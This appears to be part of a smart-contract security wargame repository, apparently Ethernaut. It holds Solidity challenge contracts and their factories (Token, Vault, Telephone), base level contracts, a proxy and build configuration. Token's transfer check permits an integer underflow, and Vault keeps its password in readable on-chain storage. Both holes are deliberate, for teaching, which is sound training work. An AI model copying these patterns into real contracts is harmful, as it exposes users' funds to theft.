-------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "./base/Level.sol"; 6 | import "./Telephone.sol"; 7 | 8 | contract TelephoneFactory is Level { 9 | function createInstance(address _player) public payable override returns (address) { 10 | _player; 11 | Telephone instance = new Telephone(); 12 | return address(instance); 13 | } 14 | 15 | function validateInstance(address payable _instance, address _player) public view override returns (bool) { 16 | Telephone instance = Telephone(_instance); 17 | return instance.owner() == _player; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /contracts/src/levels/Token.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.6.0; 3 | 4 | contract Token { 5 | mapping(address => uint256) balances; 6 | uint256 public totalSupply; 7 | 8 | constructor(uint256 _initialSupply) public { 9 | balances[msg.sender] = totalSupply = _initialSupply; 10 | } 11 | 12 | function transfer(address _to, uint256 _value) public returns (bool) { 13 | require(balances[msg.sender] - _value >= 0); 14 | balances[msg.sender] -= _value; 15 | balances[_to] += _value; 16 | return true; 17 | } 18 | 19 | function balanceOf(address _owner) public view returns (uint256 balance) { 20 | return balances[_owner]; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /contracts/src/levels/Vault.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract Vault { 5 | bool public locked; 6 | bytes32 private password; 7 | 8 | constructor(bytes32 _password) { 9 | locked = true; 10 | password = _password; 11 | } 12 | 13 | function unlock(bytes32 _password) public { 14 | if (password == _password) { 15 | locked = false; 16 | } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /contracts/src/levels/VaultFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "./base/Level.sol"; 6 | import "./Vault.sol"; 7 | 8 | contract VaultFactory is Level { 9 | function createInstance(address _player) public payable override returns (address) { 10 | _player; 11 | bytes32 password = "A very strong secret password :)"; 12 | Vault instance = new Vault(password); 13 | return address(instance); 14 | } 15 | 16 | function validateInstance(address payable _instance, address) public view override returns (bool) { 17 | Vault instance = Vault(_instance); 18 | return !instance.locked(); 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /contracts/src/levels/base/Level-05.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.5.0; 3 | 4 | import "../../helpers/Ownable-05.sol"; 5 | 6 | contract Level is Ownable { 7 | function createInstance(address _player) public payable returns (address); 8 | function validateInstance(address payable _instance, address _player) public returns (bool); 9 | } 10 | -------------------------------------------------------------------------------- /contracts/src/levels/base/Level-06.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.6.0; 3 | 4 | import "openzeppelin-contracts-06/access/Ownable.sol"; 5 | 6 | abstract contract Level is Ownable { 7 | function createInstance(address _player) public payable virtual returns (address); 8 | function validateInstance(address payable _instance, address _player) public virtual returns (bool); 9 | } 10 | -------------------------------------------------------------------------------- /contracts/src/levels/base/Level-08.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "openzeppelin-contracts-08/access/Ownable.sol"; 5 | 6 | abstract contract Level is Ownable { 7 | function createInstance(address _player) public payable virtual returns (address); 8 | function validateInstance(address payable _instance, address _player) public virtual returns (bool); 9 | } 10 | -------------------------------------------------------------------------------- /contracts/src/levels/base/Level.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "openzeppelin-contracts-08/access/Ownable.sol"; 5 | 6 | abstract contract Level is Ownable { 7 | function createInstance(address _player) public payable virtual returns (address); 8 | function validateInstance(address payable _instance, address _player) public virtual returns (bool); 9 | } 10 | -------------------------------------------------------------------------------- /contracts/src/proxy/ProxyStats.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "openzeppelin-contracts-08/proxy/transparent/TransparentUpgradeableProxy.sol"; 5 | 6 | contract ProxyStats is TransparentUpgradeableProxy { 7 | constructor(address _impl, address _admin, address _ethernautAddress) 8 | TransparentUpgradeableProxy(_impl, _admin, abi.encodeWithSignature("initialize(address)", _ethernautAddress)) 9 | {} 10 | } 11 | -------------------------------------------------------------------------------- /deps/hljs/lib/index.js: -------------------------------------------------------------------------------- 1 | /** @type import('highlight.js') */ 2 | const hljs = require('highlight.js/lib/core'); 3 | 4 | const hljsDefineSolidity = require('highlightjs-solidity'); 5 | hljsDefineSolidity(hljs); 6 | 7 | module.exports = hljs; 8 | -------------------------------------------------------------------------------- /deps/hljs/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "highlight.js", 3 | "version": "10.7.2-local", 4 | "main": "lib/index.js", 5 | "dependencies": { 6 | "highlight.js": "^10.7.2" 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /deps/hljs/styles/vs2015-css.mjs: -------------------------------------------------------------------------------- 1 | export { default } from 'highlight.js/styles/vs2015.css'; 2 | -------------------------------------------------------------------------------- /netlify.toml: -------------------------------------------------------------------------------- 1 | [build] 2 | command = "CI=false yarn run build:netlify" 3 | publish = "client/build" 4 | 5 | [[redirects]] 6 | from = "/*" 7 | to = "/" 8 | status = 200 -------------------------------------------------------------------------------- /renovate.json: -------------------------------------------------------------------------------- 1 | { 2 | "extends": [ 3 | "github>OpenZeppelin/configs", 4 | "group:monorepos" 5 | ] 6 | } 7 | 8 | --------------------------------------------------------------------------------